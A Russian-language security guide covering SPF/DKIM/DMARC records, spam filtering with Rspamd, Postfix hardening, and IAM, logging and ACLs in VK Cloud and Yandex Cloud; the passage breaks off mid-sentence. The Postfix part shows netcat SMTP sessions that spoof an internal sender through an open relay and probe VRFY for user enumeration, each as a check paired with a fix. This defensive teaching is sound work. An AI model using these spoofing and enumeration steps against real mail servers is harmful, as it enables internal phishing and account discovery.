Соответственно, имеется две части ключа: открытая и закрытая. Закрытая часть храниться на сервере, в конфигурационных файлах вашего почтового сервиса (приложения). Открытая часть прописывается в DNS запись. Давайте попробуем ее найти. В одном из писем рекламной рассылки Positive Security можно найти вот такие строки: ``` DKIM-Signature: v=1;  a=rsa-sha256;  s=mindbox;  d=email.ptsecurity.com;  c=relaxed/relaxed;  q=dns/txt;  h=From:To:Subject;  bh=x8CUMA+LBpmKFgUhm7dPgNlLQbe1ZHbqIOzByiP5Zzg=;  b=E854evyPVTWgRO028yDTZEn2ZImhgJ6GHzsB4O25+MP7jsxqXk/9hs1vUDdEmyTBklxBgqzsi0V9EPz6vopgRQt8EU4poAK4WBhYg8sHHna7jrPgLMMrV5q6gkIZgAVy4otrG2YHt2+vtb6R+CJrapbQvj69vj8E0J2kBA5kims= ``` v= — показывает, какая версия DKIM используется. d= — доменное имя отправителя. s= — это "селектор", который принимающий сервер должен использовать для поиска записи DNS. h= — перечисляет поля заголовка, которые используются для создания цифровой подписи. В этом случае используются заголовки from, to и subject. Если бы Боб отправил электронное письмо Алисе, используя домен example.com, и в теме письма было бы «Рецепт каши», то здесь будет использовано следующее содержимое: "«bob@example.com» + «alice@example.com» + «Рецепт каши»". bh= — это хеш тела письма. a= — это алгоритм, используемый для вычисления цифровой подписи (b), а также для генерации хэша тела электронного письма (bh). b= — цифровая подпись, сгенерированная из h и bh и подписанная закрытым ключом. Для валидации сервер-получатель должен найти открытую часть ключа, для этого "селектор" и требуется: ``` » dig txt mindbox._domainkey.email.ptsecurity.com ... mindbox._domainkey.email.ptsecurity.com. 3600 IN TXT "k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdyc8nf+xcoG7tOJUTXlysqykbPoshtsr1UGkG9D/yOAXlLicMP6khlj8B+34HDnpCMJEQgd/2PxlD47OHeo9Czx+1Lz6rX02CI4ocntmX41ysZO4Qk8FVGXZCWFwi64wtiUaw4zqYbAVb/oRxnSfBAMatl2y+TcpKdNMl6IQeqQIDAQAB" ... ``` DMARC (Domain-based Message Authentication Reporting and Conformance) — это политика, сообщающая получающему почтовому серверу, что делать после проверки записей SPF и DKIM. Получатель на своей стороне может иметь различные спам правила, основанные на SPF и DKIM, отправитель не имеет над ними контроля. Политика DMARC же дает отправителю контролировать поведение спам фильтра на принимающей стороне. ``` » dig txt _dmarc.email.ptsecurity.com ... _dmarc.email.ptsecurity.com. 3600 IN    TXT    "v=DMARC1; p=reject;" ... ``` v=DMARC1 — указывает, что эта запись TXT содержит политику DMARC и должна интерпретироваться как таковая серверами электронной почты. p=reject — указывает, что почтовые серверы должны «блокировать» электронные письма, не прошедшие проверку DKIM и SPF, считая их потенциально спамом. Другие возможные настройки для этого включают p=none, который позволяет письмам, не прошедшим проверки быть доставленными, и p=quarantine, который предписывает серверам электронной почты отправлять письма в Спам. Вы так же можете добавить параметр rua=mailto:example@third-party-example.com;, на указанный адрес будут приходить репорты о результатах работы вашей DMARC политики. Возможно, таким образом вы получите возможность вычислить, если ваше доменное имя используется в нелегетимных рассылках. Когда вами сконфигурированы все три параметра — ваш домен защищен. Шанс успешного использования вашего доброго имени для спам-рассылок становится крайне низок. Только если получатель писем готов быть обманутым и никак не проверяет входящую почту. **Защита входящей почты от спама и вирусов** OpenSource проект Rspamd. Он будет проверять SPF, DKIM и DMARC Интересный функционал проверки на то, как хорошо настроен ваш домен и сервер предоставляет портал https://www.mail-tester.com/. Примерно таким же образом работает и Rspamd — на каждое отклонение от общепринятых правил выставляет баллы. При достижении лимита письмо блокируется. Кроме фильтрации спам сообщений, у Rspamd есть интересные интеграции, которые так же могут влиять на рейтинг передаваемого сообщения, проставляя флаг VIRUS\_FOUND=2000: olefy — анализирует содержимое макросов; ClamAV — сигнатурная проверка вложенных файлов на вирусы. Базы данных ClamAV по умолчанию не имеют высокого уровня обнаружения, но их можно улучшить с помощью бесплатных или платных баз данных сигнатур SecurityInfo. Потребуется регистрация, после которой вы сможете использовать их с одного IP адреса. OpenSource проект MailCow. Это докеризированное приложение, которое уже включает в себя все необходимые компоненты как для работы самой почты, так и для осуществления ее защиты. **Hardening Postfix** При отправке, сообщение уходит в компонент почтового сервера, обрабатывающий именно исходящие сообщения. Postfix — это распространенный программный компонент на серверах для отправки электронной почты. Он имеет множество опций конфигурации, в том числе для повышения собственной безопасности. Мы разберем его безопасную настройку в качестве примера одного из ключевых компонентов. Для начала, давайте разберем, какие угрозы существуют: Использование вашего SMTP сервера для рассылки спам сообщений. Такой мисконфиг известен как Open Relay. Если вы его допустили, то ваш IP быстро попадет в различные репутационные списки и ваши собственные пользователи будут испытывать трудности с доставкой почты. Поиск существующих пользователей Open relay Интересно, что "опасности" у этой уязвимости на самом деле две: внешняя и внутренняя. Внешнюю можно проверить на портале https://mxtoolbox.com/diagnostic.aspx. Но даже, если она у вас имеется, вас скорей всего сможет защитить Rspmad. Т.е. до Postfix'а присланное из вне сообщение даже не дойдет. Особенность же внутренней уязвимости заключается в том, что спам фильтры могут игнорировать проверку сообщений, присланных из частной локальной сети (10.0.0.0/8, 192.168.0.0/16 и т.п.) и считать их доверенными. Это может игнорироваться спам фильтрами. В итоге любой пользователь в локальной сети, имеющий доступ до почтового сервера по протоколу SMTP (tcp/25), может от имени любого другого пользователя делать внутренние рассылки. Фишинг письма, разосланные таким образом имеют огромный шанс на успех. Пример проверки уязвимости: ``` # nc -nv 10.20.30.40 25 Connection to 10.20.30.40 port 25 [tcp/*] succeeded! 220 ****************************** HELO gmail.com 250 mail.example.com mail from:user1@example.com 250 2.1.0 Ok rcpt to:user2@example.com 250 2.1.5 Ok data 354 End data with . 123 test . 250 2.0.0 Ok: queued as 4C069182B39 quit 221 2.0.0 Bye ``` Защититься от нее довольно просто, указав в параметре mynetworks только те сети, которые считаете доверенными. В общем случае, там должны быть указаны только loopback интерфейсы: ``` postconf -e mynetworks="127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128" ``` User enumiration Команда VRFY является сокращением от «проверить» (verify). Ее можно использовать, чтобы проверить, действителен ли адрес электронной почты на почтовом сервере. Это отлично подходит для устранения неполадок, но также позволяет другим получать информацию о существовании учетной записи и использовать эту информацию для спам рассылок, брутфорса и т.п. Команда VRFY обычно не требуется для доставки между двумя почтовыми серверами и ее следует отключать. Пример проверки уязвимости: ``` # nc -nv 10.10.99.20 25 Connection to 10.10.99.20 port 25 [tcp/*] succeeded! 220 ****************************** HELO gmail.com 250 mail.example.com vrfy user1@example.com 502 5.5.1 VRFY command is disabled ``` Устранить такую уязвимость несложно: ``` postconf -e disable_vrfy_command=yes ``` **Облачная инфраструктура** Облачные сервисы — это услуги, предоставляемые через интернет, которые позволяют пользователям получать доступ к компьютерным ресурсам по запросу. Существует несколько уровней облачных сервисов: - Инфраструктура как сервис (IaaS): виртуальные вычислительные ресурсы по запросу (ВМ, хранилище и сети). Пользователи могут создавать, масштабировать и управлять инфраструктурой через интерфейс управления или API. - Платформа как сервис (PaaS): на этом уровне предоставляются инструменты разработки и выполнения приложений, такие как базы данных, веб-серверы и средства разработки. Пользователи могут создавать и развертывать приложения, не заботясь о сложностях управления инфраструктурой. - Программное обеспечение как сервис (SaaS): здесь предоставляются готовые приложения, доступные через интернет. Это могут быть CRM-системы, управление проектами, офисные приложения и многие другие. Пользователи получают доступ к приложениям через веб-браузер или специальные клиенты, обычно без необходимости установки и обновления программного обеспечения. Процесс работы облачных сервисов обычно выглядит следующим образом: - Создание учетной записи для получения доступа. - Выбор ресурсов. - Масштабирование ресурсов С точки зрения информационной безопасности в облачных сервисах наиболее важны такие аспекты, как обеспечение безопасной аутентификации пользователей и управление их доступом к ресурсам. **VK Cloud** Применяются следующие меры и практики информационной безопасности: - Мониторинг и противодействие атакам: Security Operations Center (SOC VK) осуществляет мониторинг и анализ безопасности серверов VK Cloud с использованием системы SIEM (Security Information and Event Management). Применяются механизмы, такие как антифрод и отслеживание подозрительной активности. - Проверки безопасности: внешние проверки не реже одного раза в год, включают в себя анализ внутренних нарушителей. Также проводятся собственные аудиты информационной безопасности и участие в программах Bug Bounty для выявления и устранения уязвимостей. - Применение принципов безопасной разработки: разработчики проходят обучение по информационной безопасности, интегрируют и автоматизируют инструменты безопасности на всех этапах жизненного цикла разработки и эксплуатации (DevSecOps), а также проходят архитектурное ревью и аудит безопасности каждого сервиса. - Соответствие требованиям 152-ФЗ и PCI DSS: VK Cloud обеспечивает соответствие требованиям законодательства и стандартам безопасности, таким как требования 152-ФЗ и стандарт PCI DSS. - Применение отраслевых практик: VK Cloud применяет лучшие отраслевые практики, такие как изоляция сегментов и сервисов с помощью файервола, разграничение доступа с использованием ролевой модели IAM и ограниченный доступ к платформе только для администраторов с обязательной аутентификацией. **Yandex Cloud** В Yandex Cloud можно выделить следующие меры и инструменты обеспечения безопасности: - Key Management Service — управление ключами шифрования; - DDoS Protection — защита от DDoS-атак; - Certificate Manager — управление TLS-сертификатами; - Lockbox — создание и хранение секретов; - Identity and Access Management — идентификация и контроль доступа к облачным ресурсам; - Audit Trails — сервис сбора и выгрузки аудитных логов; - Smart Web Security — защита веб-приложений; - SmartCaptcha — инструмент для верификации запросов. - Помимо этого, SOC Яндекса обеспечивает защиту облака, также в Yandex Cloud существует сегментирование и изоляция ресурсов. Слои изоляции - Изоляция серверов Yandex Cloud — серверы Yandex Cloud находятся в отдельных изолированных зонах внутри дата-центра: здесь действуют особые правила физического доступа, а физическая сеть платформы изолирована по периметру межсетевым экраном. - Логическая изоляция на уровне гипервизора — архитектура гипервизора и средства управления виртуальной средой обеспечивают изоляцию одной виртуальной машины (ВМ) от другой. В Yandex Cloud используется аппаратная виртуализация, реализованная при помощи набора команд Intel VT-x. Взаимодействие таких ВМ можно организовать только с помощью организации доступа L3 между ними, при этом не важно на одном или разных физических хостах они размещены. - Логическая изоляция на уровне управляемых сервисов - изоляция на этом уровне зависит от специфики и архитектуры управляемого сервиса. Если решение, предоставляемое в виде управляемого сервиса, реализует мультитенантную\* среду, то есть надежную и безопасную работу различных пользователей облака (в том числе принадлежащих разным организациям) с единой инсталляцией решения, то изоляция в основном обеспечивается на уровне логики решения. - \*Multi-tenancy (режим коллективной аренды) — архитектура программного обеспечения, при которой единый экземпляр приложения, запущенного на сервере провайдера, одновременно работает с несколькими арендаторами (компаниями-клиентами). Так реализовано объектное хранилище (Object Storage) в Yandex Cloud. Изоляция управляющей сети провайдера от виртуальных сетей облачных пользователей - управляющая сеть условно делится на базовую (underlay) и наложенную (overlay). Underlay — это сегмент физической сети, реализующий связность между всеми физическими компонентами облачной платформы. Overlay — это набор виртуальных сетей, которые могут использоваться как провайдером (в служебных целях для работы сервисов платформы), так и конечными пользователями. Underlay в Yandex Cloud делится на два сегмента (VLAN): технологический, который используется для работы overlay, и служебный для передачи данных между аппаратными хостами (например, в случае живой миграции ВМ). Трафик в underlay и в служебные сегменты overlay строго контролируется ACL на Tor и граничных маршрутизаторах (border routers), аппаратными файрволлами на периметре физической сети, программными файрволами на хостах и security groups (встроенных межсетевых экранах на уровне виртуальной сети). Изоляция трафика разных виртуальных сетей — трафик виртуальных сетей маркируется с помощью MPLS-меток и может быть обработан (передан) только виртуальной сущностью, подключенной к той же виртуальной сети. Логическая изоляция на уровне учетных записей и прав доступа - управление ресурсами облака реализуется с помощью сервиса управления ресурсами и ролевой модели. Все ресурсы сосредоточены в логическом контейнере, который в Yandex Cloud называется организацией. Ресурсная модель позволяет назначать роли контейнерам различных уровней (организации, облаку, папке) или непосредственно ресурсам (например, ключу KMS). Сервис управления ресурсами позволяет предоставлять доступ только тем пользователям, которые числятся пользователями организации. Разделение сущностей сontrol plane и data plane — сontrol plane управляет ресурсами сервиса через служебные ВМ, обеспечивая изоляцию с помощью учетных записей и их прав доступа. Data plane содержит ВМ с базами данных, обеспечивая отказоустойчивость. Компоненты сontrol plane не имеют доступа к данным пользователей, они лишь управляют рабочими компонентами, которые обрабатывают данные. Изоляция сервисных компонент инфраструктуры провайдера от пользовательских ресурсов — фактически служебные компоненты платформы могут быть следующих видов: компоненты, реализующие внутренние сервисы, не доступные конечным пользователям; компоненты, реализующие доступный пользователям сontrol plane сервисов; компоненты, обеспечивающие работу data plane слоя (например, ВМ, на которой размещена БД, предоставляемая клиенту в рамках управляемого сервиса). В зависимости от ситуации такие сервисные компоненты изолируются как на уровне физических хостов (размещаются на хостах, где нет пользовательской нагрузки. Пример — основные машины сервиса KMS), так и на уровне виртуальных сетей. **Identity and Access Management** Процесс управления идентичностью и доступом пользователей к ресурсам в информационной системе. Он включает в себя управление учетными записями пользователей, группами пользователей, ролями и разрешениями. - Учетные записи пользователей. IAM управляет созданием, удалением и управлением учетными записями пользователей в системе. Это включает в себя установку и изменение паролей, настройку двухфакторной аутентификации и т. д. - Группы пользователей Пользователей можно объединять в группы с общими характеристиками или правами доступа. IAM позволяет управлять этими группами, что делает процесс управления доступом более эффективным. - Роли определяют набор разрешений и привязываются к пользователям или группам. Они предоставляют набор прав доступа к ресурсам, который определяет, какие действия могут выполнять пользователи. - Разрешения определяют, какие действия могут выполнить пользователи или роли для конкретных ресурсов. Например, разрешения могут включать чтение, запись, удаление и т. д. IAM обеспечивает безопасность информационных систем, управляя доступом к ресурсам на основе принципа наименьших привилегий (Least Privilege Principle), что означает, что пользователи получают только те права, которые необходимы для выполнения их задач. Это помогает предотвратить несанкционированный доступ и минимизировать риски для безопасности. Роли пользователей В общем случае в облачных сервисах можно выделить следующие категории доступа:
Администраторский доступ (Admin Access)Полный доступ ко всем аспектам и функциям облачного сервиса. Возможность управлять пользователями, ресурсами, настройками безопасности и другими административными задачами. Этот уровень доступа обычно предоставляется администраторам системы или IT-специалистам.
Пользовательский доступ (User Access)Доступ к основным функциям и ресурсам облачного сервиса для выполнения своих задач. Обычно ограниченный доступ к административным функциям и настройкам. Этот уровень доступа предоставляется конечным пользователям для работы с приложениями или данными.
Доступ разработчика (Developer Access)Доступ к инструментам разработки и API для создания, тестирования и развертывания приложений в облачном окружении. Возможность управлять приложениями и интеграциями с другими сервисами. Этот уровень доступа предоставляется разработчикам для создания и сопровождения приложений.
Ограниченный доступ (Restricted Access)Ограниченный доступ к определенным ресурсам или функциям в облачном сервисе. Может включать доступ только для чтения, доступ к определенным файлам или приложениям, или другие ограничения. Этот уровень доступа часто используется для предоставления временного или контролируемого доступа.
Гостевой доступ (Guest Access)Временный доступ для пользователей, которые не имеют постоянного аккаунта в облачном сервисе. Обычно предоставляется для совместной работы или обмена информацией с внешними сторонами. Может быть ограничен в функциональности и доступе к данным.
Примеры ролей пользователей в VK Cloud В контексте VK Cloud важно упомянуть понятие Проект. Проект — это структурная единица внутри облака, которая владеет ресурсами: виртуальными машинами, базами данных, кластерами Kubernetes и другими. При регистрации нового аккаунта в VK Cloud автоматически создается проект, в котором текущий пользователь зарегистрирован в роли владельца. Владелец проекта может создавать новые проекты и приглашать во все свои проекты пользователей, назначая им роли. Один и тот же пользователь может быть участником нескольких проектов и иметь в них в разные роли. Роли для общего управления проектом - Владелец проекта — пользователь с максимально широким набором разрешений. Владельцем становится пользователь, который создал проект, либо для которого проект был создан платформой при регистрации аккаунта. В проекте может быть только один владелец. Эту роль нельзя назначить или пригласить на нее. - Суперадминистратор — пользователь, который имеет те же разрешения, что владелец, включая привязку карты и пополнение баланса. Суперадминистратор — единственная роль, кроме владельца, которой доступна активация сервисов в проекте. - Администратор проекта — пользователь, который имеет полные разрешения на создание и редактирование объектов во всех сервисах. Администратор не может: активировать сервисы; пополнять баланс проекта (ему доступен только просмотр баланса); приглашать пользователей. - Администратор пользователей (IAM) — роль, предназначенная для работы с участниками проекта на странице управления доступами. Администратор пользователей (IAM) может приглашать участников в проект и удалять их из проекта, редактировать назначенные участникам роли. Сервисы и информация о балансе проекта этой роли недоступны. - Администратор биллинга — роль, предназначенная для управления балансом проекта. Администратор биллинга может: привязать к проекту карту оплаты, если она еще не привязана; пополнить баланс проекта или настроить автопополнение. Сервисы и список участников проекта этой роли недоступны. - Наблюдатель — пользователь, который имеет полные разрешения на просмотр информации в проекте, включая список участников, данные всех сервисов, баланс проекта и детализацию расходов. Наблюдатель не может создавать какие-либо объекты и не может ничего редактировать, кроме настроек своего аккаунта. Специализированные роли Каждая из ролей ниже предназначена для работы с одним из сервисов платформы. Этим ролям доступны: разрешения в их целевом сервисе; ряд разрешений в сопутствующих сервисах, без которых невозможна полноценная работа с целевым сервисом. У всех этих ролей отсутствует доступ к списку участников проекта и к информации о балансе. Все операции, доступные специализированным ролям, доступны также владельцу проекта, суперадминистратору и администратору проекта. - Администратор виртуальных машин — пользователь с этой ролью может выполнять основные операции в сервисе Cloud Servers. При этом ему доступен только просмотр для: планов резервного копирования; файловых хранилищ. В сервисе виртуальных сетей он может создавать и редактировать группы правил (firewall). - Администратор сети — пользователь с этой ролью может выполнять полный набор операций в сервисах виртуальных сетей и DNS. - Администратор сетевой безопасности — пользователь с этой ролью может просматривать все данные в сервисах виртуальных сетей и DNS. Создавать и редактировать он может только группы правил (firewall). - Администратор внутренних сетей — пользователь с этой ролью может: просматривать все данные в сервисах виртуальных сетей и DNS; создавать и редактировать виртуальные сети и подсети, маршрутизаторы; добавлять в проект плавающие IP. Матрицу разрешений можно посмотреть по [ссылке](https://cloud.vk.com/docs/base/account/concepts/rolesandpermissions#matrica_razresheniy_dlya_vseh_roley). Роли в Yandex Cloud В Yandex Cloud существует 4 примитивные роли: admin, editor, viewer и auditor. Примитивные роли в Yandex Cloud наследуют разрешения друг друга: например, в роль editor входят все разрешения роли viewer. ![](https://ucarecdn.com/9a4736b3-0395-4ec8-bc5c-102e3940a8b5/) auditor Роль auditor дает разрешения на чтение конфигурации и метаданных сервисов без возможности доступа к данным. Роль auditor позволяет выполнять следующие операции: - просмотр информации о ресурсе; - просмотр метаданных ресурса; - просмотр списка операций с ресурсом. viewer Роль viewer дает разрешения на чтение к ресурсам. Роль viewer включает все разрешения, которые дает роль auditor. В отличие от роли auditor, роль viewer предоставляет возможность доступа к данным сервиса в режиме чтения. Роль viewer позволяет выполнять следующие операции: - просмотр информации о ресурсе; - получение списка вложенных ресурсов, например списка виртуальных машин в каталоге; - просмотр списка операций с ресурсом. editor Роль editor дает разрешения на все операции для управления ресурсом, кроме назначения ролей другим пользователям. Роль editor включает все разрешения, которые дает роль viewer. Помимо них, роль editor позволяет выполнять следующие операции: - создание ресурса; - обновление ресурса; - удаление ресурса. admin Роль admin дает все разрешения для управления ресурсом, включая назначение ролей другим пользователям. Можно назначать любые роли за исключением resource-manager.clouds.owner (владелец ресурса) Помимо ранее перечисленных операций, роль admin позволяет выполнять следующие операции: - установить права доступа к ресурсу; - изменить права доступа к ресурсу. В зависимости от сервисов, роли могут немного варьироваться, но в целом они сводятся к ранее перечисленным примитивным ролям. Подробное описание ролей относительно различных сервисов можно посмотреть по [ссылке](https://cloud.yandex.ru/ru/docs/iam/roles-reference). **Логирование в облачных сервисах** События в аудитных логах Yandex Cloud относятся к различным уровням: - уровень Yandex Cloud — события, происходящие с ресурсами Yandex Cloud; - уровень ОС; - уровень приложений; - уровень сети (Flow Logs). - Уровень Yandex Cloud Основным инструментом сбора логов уровня Yandex Cloud является сервис Yandex Audit Trails. Сервис позволяет собирать аудитные логи о происходящих с ресурсами Yandex Cloud событиях и загружать эти логи в бакет Yandex Object Storage или лог-группу Cloud Logging для дальнейшего анализа или экспорта. Для сбора метрик, анализа некоторых событий уровня Yandex Cloud и настройки оповещений рекомендуется использовать сервис Yandex Monitoring. С его помощью возможно отслеживать, например, резкое возрастание нагрузки на Compute Cloud, RPS сервиса Application Load Balancer, значительные изменения в статистике событий сервиса Identity and Access Management. Кроме того, Monitoring можно применять для мониторинга работоспособности самого сервиса Audit Trails и мониторинга событий безопасности. Формат записей аудитного лога универсален для всех событий, события представляют собой JSON-объекты. Значения некоторых полей определяются ресурсом-источником и типом события. Яндекс предоставляет справочник событий. Аудитные логи возможно экспортировать в лог-группу Cloud Logging и в SIEM-систему клиента для анализа информации о событиях и инцидентах. Экспорт событий в SIEM Решения для экспорта аудитных логов Yandex Cloud подготовлены для следующих SIEM-систем: - Yandex Managed Service for Elasticsearch (ELK); - ArcSight; - Splunk. Для настройки экспорта в любые SIEM подходят утилиты GeeseFS или s3fs. Она позволяет смонтировать бакет Yandex Object Storage как локальный диск виртуальной машины. Далее на ВМ необходимо установить коннектор для SIEM и настроить вычитывание JSON-файлов из бакета. Реагирование на события C помощью Yandex Cloud Functions можно настроить оповещения о событиях Audit Trails, а так же автоматическое реагирование на вредоносные действия, например удаление опасных правил или прав доступа. Уровень ОС При использовании облачных сервисов по модели IaaS и использовании групп узлов Kubernetes клиент отвечает за безопасность ОС и выполняет сбор событий уровня ОС самостоятельно. Для сбора стандартных событий, которые генерирует ОС, и их экспорта в SIEM-систему клиента существуют бесплатные инструменты, такие как: Osquery; Filebeat (ELK); Wazuh. Дополнительные опции генерации событий возможно реализовать с помощью утилиты Auditd для Linux, Sysmon для Windows. Системные метрики Linux (процессор, память, диск) можно собирать с помощью компонента Unified Agent сервиса Monitoring. Также события ОС возможно экспортировать в Cloud Logging с помощью плагина Fluent bit Для описания событий, которые нужно искать в логах, Яндекс рекомендует использовать формат Sigma, поддерживаемый популярными SIEM-системами. Репозиторий Sigma содержит библиотеку событий, описанных в этом формате. Уровень приложений Сбор событий уровня приложений, развернутых на ресурсах Compute Cloud, клиент может выполнять самостоятельно. Например, записывать логи приложения в файл и передавать их в SIEM-систему с помощью инструментов, перечисленных в подразделе Уровень ОС выше. Уровень сети Запись событий о сетевом трафике VPC (Flow Logs) на текущий момент может выполняться только средствами клиента. Для сбора и передачи событий могут использоваться решения из Yandex Cloud Marketplace (например, NGFW, IDS/IPS, сетевые продукты) либо бесплатное ПО. **Управление доступом в Yandex Cloud** Все операции в Yandex Cloud предварительно отправляются на проверку в IAM: - Пользователь просит сервис Compute Cloud создать новый диск в каталоге default. - Сервис спрашивает IAM, можно ли этому пользователю создать диск в этом каталоге. - IAM проверяет, что пользователь — участник облака с каталогом default и имеет необходимые разрешения для создания диска в этом каталоге. Если какого-то из разрешений у пользователя нет, операция не будет выполнена, и Yandex Cloud сообщит об ошибке. Если все разрешения имеются, то IAM сообщает об этом сервису. Сервис создает новый диск. Управление доступом в Yandex Cloud построено на политике Role Based Access Control (RBAC). Чтобы предоставить доступ к ресурсу, вы указываете, кому и какие роли назначены на ресурс. Чтобы назначить роль, вы выбираете ресурс, выбираете роль и описываете субъект, которому назначается роль. Таким образом вы привязываете права доступа к ресурсу. Вы также можете назначить роль на родительский ресурс, от которого наследуются права доступа, например назначить роль на каталог или облако. Ресурсы, на которые можно назначать роли Назначать роли можно на облако, каталог и другие ресурсы из списка. Если нужно предоставить доступ к ресурсу, которого нет в списке, например к кластеру Yandex Managed Service for PostgreSQL, назначьте роль на родительский ресурс, от которого наследуются права доступа. У кластеров Managed Service for PostgreSQL права доступа наследуются от каталога. Роль Назначать роли на ресурс могут пользователи с ролью администратора на этот ресурс, а также владельцы облака, которому принадлежит ресурс. Каждая роль состоит из набора разрешений, описывающих допустимые операции с ресурсом. Пользователь может назначить роли только с теми разрешениями, которые имеются у него самого. Например, чтобы назначить роль владельца облака, пользователь должен сам обладать этой ролью, а роли администратора для этого недостаточно. Субъект, которому назначается роль Роли назначаются субъектам. Существуют следующие типы субъектов: - userAccount — аккаунт на Яндексе, добавленный в Yandex Cloud. - serviceAccount — сервисный аккаунт, созданный в Yandex Cloud. - Сервисному аккаунту можно назначать роли на любые ресурсы в любом облаке, если эти ресурсы относятся к той же организации, что и сервисный аккаунт. Также сервисному аккаунту можно назначать роли на саму организацию. - federatedUser — аккаунт пользователя федерации удостоверений, например из Active Directory. - group — группа пользователей, созданная в Yandex Cloud Organization. - system — системная группа. Наследование прав доступа Если у ресурса есть дочерние ресурсы, то все разрешения от родительского ресурса будут унаследованы дочерними ресурсами. Например, если вы назначите пользователю роль на каталог, в котором лежит виртуальная машина, то все разрешения этой роли будут действовать и для виртуальной машины. Если на дочерний ресурс тоже назначены роли, то список разрешений на этот ресурс будет объединен со списком разрешений на родительский ресурс. Нельзя ограничить список разрешений, унаследованных от родительского ресурса. Имперсонация Имперсонацией называется выполнение пользователем действий с ресурсами облака от имени сервисного аккаунта, которому назначены необходимые права. Имперсонация чаще всего применяется, чтобы временно расширить права пользователя, не прибегая к генерации статических учетных данных. Например, когда у пользователя нет прав на просмотр каталога, но на какое-то время они ему оказались нужны. Для этого администратор может назначить сервисному аккаунту роль на просмотр каталога, а пользователю назначить специальную роль iam.serviceAccounts.tokenCreator. В результате пользователь сможет от имени сервисного аккаунта просматривать ресурсы в каталоге или получить IAM-токен сервисного аккаунта. Пользователь не сможет изменить права доступа или удалить сервисный аккаунт. В нужный момент администратор может отозвать роль. **Управление доступом в VK Cloud** С помощью ACL. ACL (Access Control List) позволяет контролировать, какие операции разрешены каким пользователям. ACL может стоять как и на уровне всего бакета, так и на уровне конкретного объекта. Установить и прочесть ACL можно через приведенные методы ниже. По умолчанию, создаваемый бакет или объект максимально ограничен в доступе — только владелец бакета/объекта может работать с ним. У остальных пользователей — запрет доступа. ACL указывается в XML формате, где в поле Owner ID нужно указать свой канонический идентификатор в системе VK Cloud. Получить его можно разными способами. Один из способов: aws s3api list-buckets --query Owner.ID --output text --endpoint-url https://hb.vkcs.cloud Пример ACL, который дает те же права, что и по умолчанию (только владелец имеет полный доступ, никто больше): ```      fcd68908-6c76-42d1-968b-82ae2a5a251d    owner-display-name                      fcd68908-6c76-42d1-968b-82ae2a5a251d        display-name            FULL_CONTROL       ``` Элемент <Owner> производит идентификацию владельца по каноническому идентификатору пользователя учетной записи VK Cloud. Элемент <Grant> определяет идентификатор получателя для предоставляет разрешение. Элемент <Permission> внутри <Grant> определяет тип доступа для получателя. Базовый ACL, показанный выше в качестве примера, имеет один элемент <Grant>. Чтобы описать несколько получателей, то для каждого надо добавить свой элемент <Grant>. При установке через HTTP заголовки, нужно использовать заголовки для выдачи специфичных для заголовка прав: x-amz-grant-read — список получателей прав для READ. x-amz-grant-write — список получателей прав для WRITE. x-amz-grant-read-acp — список получателей прав для READ\_ACP. x-amz-grant-write-acp — список получателей прав для WRITE\_ACP. x-amz-grant-full-control — список получателей прав для FULL\_CONTROL. x-amz-acl — использование шаблонного ACL. Выдача прав Идентификаторов для выдачи прав может быть несколько типов: Конкретный пользователь в VK Cloud. Для этого нужно знать его уникальный идентификатор. Проект в VK Cloud. Для этого нужно знать уникальный идентификатор проекта. Предварительно определенные группы. Список указан ниже. Весь мир. Включая анонимный доступ. Любой, знающий полный адрес до объекта, имеет доступ. Выданное право для идентификатора выше может быть одним или составлено из нескольких типов: READ — только чтение, какие-либо изменения не разрешены. WRITE — только запись, какие-либо чтения не разрешены. Включая удаление. READ\_ACP — чтение ACL, какие-либо изменения не разрешены. WRITE\_ACP — запись ACL, какие-либо чтения не разрешены. Включая удаление. FULL\_CONTROL — все, что перечислено выше, сразу. Выдача прав по идентификатору пользователя Идентификатор пользователя (он же известен как канонический ID/Canonical ID) — это уникальный идентификатор, состоящий из набора символов. Пример: fcd68908-6c76-42d1-968b-82ae2a5a251d. Формат не фиксирован, при работе с идентификатором пользователя какие-либо преобразования и привязки к формату идентификатора не рекомендуются. Если используется установка через XML, то внутри <Grantee> надо указать тег <ID>. Пример: <ID>fcd68908-6c76-42d1-968b-82ae2a5a251d</ID> Если используется установка через HTTP заголовок, то в значении заголовка надо использовать ключ id. Пример: id="fcd68908-6c76-42d1-968b-82ae2a5a251d". Канонический ID пользователя учетной записи VK Cloud можно получить, прочитав ACL бакета или объекта, к которому учетная запись VK Cloud имеет права доступа. Когда отдельная учетная запись VK Cloud получает разрешения по запросу на Grant, в ACL добавляется запись гранта с каноническим ID пользователя учетной записи VK Cloud. Выдача прав по идентификатору проекта Если идентификатор пользователя неизвестен, но известен идентификатор проекта, то можно указать проект. При обработке запроса на установку ACL, система ищет идентификатор пользователя и сохраняет его в ACL. В результате ACL всегда будут содержать канонический ID пользователя для проекта, а не идентификатор проекта. Если используется установка через XML, то внутри <Grantee> надо указать тег <EmailAddress>. Пример: <EmailAddress>mcs2400549523</EmailAddress> Если используется установка через HTTP заголовок, то в значении заголовка надо использовать ключ id. Пример: emailAddress="mcs2400549523". Получить свой идентификатор проекта можно в личном кабинете в области информации об учетной записи. Кнопка, расположенная рядом с идентификатором проекта, позволяет скопировать параметр для удобства. Виды разрешений В таблице перечислены наборы разрешений, которые Cloud Storage поддерживает в ACL. Набор разрешений ACL одинаков для ACL объекта и ACL бакета. Эти ACL предоставляют разрешения для определенных бакетов или операций с объектами. В таблице перечислены разрешения и описано, что они означают в контексте объектов и бакетов. Разрешение Применение к бакету Применение к объекту READ HeadBucketGetBucketLifecycleGetBucketNotificationListObjectsListPartsListMultiparts Позволяет получить содержимое объекта и его метаданные WRITE Позволяет создавать, удалять, перезаписывать любые объекты в бакете Не применимо READ\_ACP Позволяет читать ACL бакета: GetBucketAclGetBucketCors Позволяет читать ACL объекта: GetObjectAcl WRITE\_ACP Позволяет изменять ACL бакета Позволяет изменять ACL объекта PutObjectAcl FULL\_CONTROL Комбинирует права READ, WRITE, READ\_ACP, WRITE\_ACP для бакета Комбинирует права READ, WRITE, READ\_ACP, WRITE\_ACP для объекта Сопоставление разрешений ACL и разрешений политики доступа ACL допускает только конечный набор разрешений по сравнению с количеством разрешений, которые можно установить в политике доступа. Каждое из этих разрешений позволяет выполнять одну или несколько операций Cloud Storage. В следующей таблице показано, как каждое разрешение ACL сопоставляется с соответствующими разрешениями политики доступа. Как видно, политика доступа допускает больше разрешений, чем ACL. ACL используется в основном для предоставления базовых разрешений на чтение и запись, аналогично разрешениям файловой системы. Разрешение ACL Политика доступа для 